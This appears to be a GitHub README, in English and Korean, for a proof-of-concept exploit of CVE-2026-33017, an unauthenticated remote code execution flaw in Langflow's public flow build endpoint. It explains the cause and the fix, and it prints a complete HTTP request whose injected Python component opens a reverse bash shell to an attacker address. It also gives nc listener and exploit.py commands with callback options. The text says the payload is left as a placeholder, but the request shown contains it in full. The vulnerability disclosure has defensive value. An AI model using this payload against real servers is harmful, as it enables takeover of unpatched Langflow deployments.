eqstlab/cve-2026-33017Langflow RCE
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Use the following commands to build and run the vulnerable Langflow environment:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
After starting the vulnerable Langflow instance, run the PoC with the target URL, the Public flow ID, and the attacker callback address.
Option A — use your own listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Option B — use the built-in listener with --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
CVE-2026-33017 is a Remote Code Execution (RCE) vulnerability in the Public flow build process of Langflow, an open-source platform for visually building LLM applications and AI workflows.
By sending crafted flow data to thebuild_public_tmpendpoint without authentication, an attacker can cause arbitrary Python code to be executed on the server.
CVE-2026-33017 affects the following Public flow build endpoint in Langflow, an open-source platform for visually creating LLM applications and AI workflows.
POST /api/v1/build_public_tmp/{flow_id}/flow
A Public flow in Langflow is designed to be shared with other users through a link or similar mechanism.
To support this feature, the build endpoint prepares the flow for execution without requiring authentication by reading the flow's nodes, edges, and settings, then constructing the internal execution graph needed to run it.
The issue was that vulnerable versions of build_public_tmp accepted not only the stored Public flow information on the server, but also the data field supplied in the request body.
This data field could contain the entire flow definition, including:
As a result, an attacker could use an unauthenticated request to inject an entirely attacker-controlled flow structure instead of relying on the legitimate Public flow stored on the server.
A particularly dangerous part of this design is the Custom Component feature.
In Langflow, a component represents an individual functional block responsible for tasks such as input handling, model invocation, or output generation. A custom component is an extensible block that allows users to define its behavior directly in Python code.
An attacker could therefore embed a custom component containing malicious Python code inside the crafted data object, and the server would process it as if it were a normal part of the flow. As a result, the injected code could be parsed and executed during the build or execution process, ultimately leading to remote code execution.
| Category | Version |
|---|---|
| Vulnerable | Langflow prior to 1.9.0 |
| Patched | Langflow 1.9.0 and later |
The GitHub Security Advisory lists the affected range as
<= 1.8.2, but the fix — removal of thedataparameter — landed in 1.9.0. All releases before 1.9.0 (including 1.8.3 / 1.8.4) are therefore affected, which is why the CVE Record states< 1.9.0.
Successful exploitation of this vulnerability may allow an attacker to take control of the Langflow server and carry out follow-on actions such as:
The following PoC demonstrates CVE-2026-33017 on Langflow 1.8.1.
The attacker first identifies the flow_id of a target Public flow.
The attacker sends a build_public_tmp request that injects a custom component whose Python code is executed on the server during the temporary build. In the request below, the code value is left as a placeholder — insert the payload yourself (see the note under the request).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
During the build process, the code embedded in the custom component is executed on the server. When the reverse shell variant (automated by exploit.py) is used, a connection is established back to the attacker's listener, giving the attacker an interactive shell to run arbitrary commands on the server.
Although build_public_tmp was intended to build Public flows, vulnerable versions still accepted a data field directly from the request body.
Because of this design, attacker-supplied data was passed directly into the server-side build logic, and any Python code embedded in a custom component was handled as though it were part of a legitimate flow.
As a result, an attacker did not need to rely on the original Public flow stored on the server. Instead, they could inject an entirely malicious flow definition of their own, including code that could be executed on the server.
After the patch, build_public_tmp no longer accepts externally supplied data.
In other words, the path that previously allowed attackers to inject an entire flow definition through the request body was removed, which also prevented arbitrary code execution through malicious custom components.
73b6612e3ef25fdae0a752d75b0fabd47328d4f0CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이build_public_tmp엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.
CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.
POST /api/v1/build_public_tmp/{flow_id}/flow
Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.
문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.
이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.
즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.
이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.
공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.
| 구분 | 버전 |
|---|---|
| 취약 버전 | Langflow 1.9.0 미만 |
| 패치 버전 | Langflow 1.9.0 이상 |
GitHub Security Advisory는 영향 범위를
<= 1.8.2로 표기하지만, 실제 패치(data파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를< 1.9.0으로 명시한다.
이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.
아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.
공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.
공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.
취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.
이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.
결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.
패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.
73b6612e3ef25fdae0a752d75b0fabd47328d4f0| Option | Description |
|---|
--url | Target Langflow server URL |
--flow-id | UUID of the shared Public flow |
--lhost | Attacker callback IP |
--lport | Attacker callback port |
--listen | Run the built-in listener instead of an external nc |